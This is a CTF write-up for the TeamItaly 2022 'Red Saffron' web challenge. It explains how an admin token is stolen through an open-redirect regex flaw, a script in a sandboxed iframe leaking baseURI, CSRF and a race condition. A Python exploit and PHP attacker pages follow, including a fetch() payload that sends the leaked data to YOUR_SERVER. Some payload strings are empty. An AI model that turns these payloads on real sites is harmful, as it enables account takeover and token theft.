Tags: web
Rating: 5.0
# TeamItaly CTF 2022
## Red Saffron (1 solves)
Red Saffron is a website where users can store public and private recipes.
The target of the attack is the admin, emulated by a bot, and it's private recipe where the flag is stored.
It's possible to register two type of users in the webapp, authors and advertisers.
- An author can create new recipes (public or private) and will get paid if an advertiser buys an ad on its recipe.
- An advertiser can publish ads on the existing recipes and pay the author.
### Solution
Our ultimate goal is to leak the id of the recipe with the flag.
There is no authorization check to see a recipe, so we just need the id.
The flag recipe id is listed in `/private` when logged in as the admin.
We have two interesting inputs that can be useful to leak the flag:
- The content of a recipe, sanitized with DOMPurify
- The content of an ad, not sanitized but in a sandboxed iframe
#### Leak an admin token
The sandboxed iframe allows us to execute script.
Inside the sandboxed iframe it's possible to leak the url of the main document where the iframe is embedded with the `baseURI` variable.
In this way we can leak the url of the recipe where the ad is embedded.
This url is the url of the recipe where the ad is embedded and it's usuless by itself (you need to know it to buy the ad).
By abusing the authentication system, it's possible to use this leak to extract a valid token of the admin.
The authentication is separated from the main webapp and it works in this way:
- The webapp redirect to the authentication endpoint with the `redirect_uri` parameter (set to `http://saffron.challs.teamitaly.eu/cb`)
- The authentication endpoint asks the credentials of the user
- If the credentials are correct, the user get redirected to `redirect_uri` with the token added in the fragment of the url (e.g. `http://saffron.challs.teamitaly.eu/cb#token=1234&exp=1234`)
- The webapp get the token and saves it in a cookie, this token will be used by the webapp to get trusted information about the user from the authentication server
The value of `redirect_uri` is checked by the authentication system to match the regex `/^http:\/\/saffron.challs.teamitaly.eu\/cb/`.
This check is incomplete and allows to use the url of a recipe as `redirect_uri`, you just need a recipe with an id that starts with `cb`.
If we are able to make the bot login with `redirect_uri` equal to the url of a recipe that starts with `cb` (e.g.`http://saffron.challs.teamitaly.eu/cbefd7d0-0ec2-4053-bc22-4a501cb59e99`) after the login the bot will be redirect to `http://saffron.challs.teamitaly.eu/cbefd7d0-0ec2-4053-bc22-4a501cb59e99#token=1234&exp=1234`.
If we control the ad of the recipe we can leak the url and the admin token.
#### Redirect the bot
We can report a recipe to the admin and the bot will visit it.
The bot follows this logic:
- Load the recipe page
- Click on the login button
- Login
- Wait some time on the page
We can redirect the bot with a recipe that renders a link to our server above the login button.
This is allowed by DOMPurify and allows us to take control of the authorization flow.
#### Get the money to create an ad
To buy an ad you need 100$ that will be moved from the advertiser to the author.
All the registed users starts with a balance of 0$.
It's possible to exploit the infinite money of the admin by forcing it to buy an ad on a recipe controlled by us.
This can be done exploiting a csrf of the `/buyad` endpoint.
This exploit allows us to get money for a user of the `author` category.
But we need a user of the `advertiser` category to buy an ad.
To buy the ad using the money of the `author` user we can exploit a race condition in the `/buyad` endpoint.
Indeed `user_info` and `user_money` are not defined, so they become global variables in the server.
If we send two requests to buy an ad for different users at the same time it's possible to get the `user_info` of one user and the `user_money` of the other one.
By sending the requests for the author user with the money and the advertiser user without the money in a few tries it's possible to create the ad for the advertiser with the money of the author.
#### Get the flag
- Create a recipe with id that starts with `cb`
- Buy the ad of the recipe with a payload to leak the `baseURI`
- Redirect the bot login flow to set the `redirect_uri` to the recipe that starts with `cb`
- Leak the token and use it to get the flag
### Exploit
```python
import requests
import urllib.parse
import random
import string
import re
from threading import Thread
AUTH_HOST = 'http://uauth.challs.teamitaly.eu'
BLOG_HOST = 'http://saffron.challs.teamitaly.eu'
LEAK_URL = 'http://YOUR_SERVER/?leak='
ATTACK_URL = 'http://YOUR_SERVER/start.php'
def generate_random_string(n=10):
return ''.join(random.choices(string.ascii_letters, k=n))
def generate_random_user(role):
return {
'username': generate_random_string(),
'password': generate_random_string(),
'role': role
}
def register(user):
r = requests.post(AUTH_HOST + '/register?redirect_uri=' + urllib.parse.quote(BLOG_HOST + '/registered'), data={
'username': user['username'],
'password': user['password'],
'role': user['role']
})
assert(r.status_code == 200)
def login(user):
r = requests.post(AUTH_HOST + '/auth?redirect_uri=' + urllib.parse.quote(BLOG_HOST + '/cb') + '&response_type=token', data={
'username': user['username'],
'password': user['password']
})
assert(r.status_code == 200)
m = re.search(r'token=(.+)&exp', r.url)
assert(m)
user['token'] = m[1]
return m[1]
def new_post(user, content):
r = requests.post(BLOG_HOST + '/new', data={
'title': generate_random_string(),
'content': content
},
cookies={
'token': user['token']
})
assert(r.status_code == 200)
return r.url.split('/')[-1]
def get_user_balance(user):
r = requests.get(BLOG_HOST + '/me', cookies={
'token': user['token']
})
m = re.search(
r'Username: (.+)\s+
\s+Role: (.+)\s+
\s+Balance: (\d+)', r.text)
assert(m)
return int(m[3])
def ad_is_free(user, recipeid, content):
r = requests.post(BLOG_HOST + '/buyad', data={
'ad': content,
'recipeid': recipeid
},
cookies={
'token': user['token']
})
if('ad already taken' in r.text):
return False
return True
def buy_ad_race_condition(user, recipeid, content):
r = requests.post(BLOG_HOST + '/buyad', data={
'ad': content,
'recipeid': recipeid
},
cookies={
'token': user['token']
})
if ('you need to be an advertiser to buy an ad' in r.text
or 'not enough money' in r.text):
print('.', end='')
return
if('ad already taken' in r.text
or 'UNIQUE constraint failed' in r.text):
print('V', end='')
return
print('?', end='')
author = generate_random_user('author')
register(author)
login(author)
advertiser = generate_random_user('advertiser')
register(advertiser)
login(advertiser)
post_payload = f'''
'''
recipeid_clickjacking_1 = new_post(author, post_payload)
recipeid_get_money = new_post(author, 'ciao')
print(author)
print(advertiser)
while(True):
print(
f'\n\nSet the csrf server to buy the ad of post: {recipeid_get_money}')
print(
f'Make the bot visit the post with recipeid: {recipeid_clickjacking_1}')
input('\nEnter to continue...')
balance = get_user_balance(author)
print(f'\nBalance: {balance}\n')
if(balance >= 100):
break
print('Retry')
while (True):
recipeid_attack = new_post(author, 'ciao')
if (recipeid_attack[:2] == 'cb'):
break
payload_ad = f"<script>fetch('{LEAK_URL}' + encodeURIComponent(document.baseURI))</script>"
threads = []
for _ in range(20):
t = Thread(target=buy_ad_race_condition,
args=(author, recipeid_attack, payload_ad))
threads.append(t)
t.start()
t = Thread(target=buy_ad_race_condition, args=(
advertiser, recipeid_attack, payload_ad))
threads.append(t)
t.start()
for t in threads:
t.join()
post_payload = f'''
'''
recipeid_clickjacking_2 = new_post(author, post_payload)
print('\n\nExploit post id is: ' + recipeid_attack)
print('Make the bot visit the post ' +
recipeid_clickjacking_2 + ' to leak the token')
```
#### attacker server:
```php
// index.php
Last leaked data:
```
```php
// start.php
<script>
window.open('')
document.location = ''
</script>
```
```php
// csrf.php
<form action="<?php echo $VICTIMURL;?>" method="POST">
<input name="recipeid" type="text" value="<?php echo $RECIPEID;?>" />
<input name="ad" type="text" value="hello"/>
<button type="submit" id="submit">Buy</button>
</form>
<script>
setTimeout(() => {
document.getElementById('submit').click()
}, 4000);
</script>
```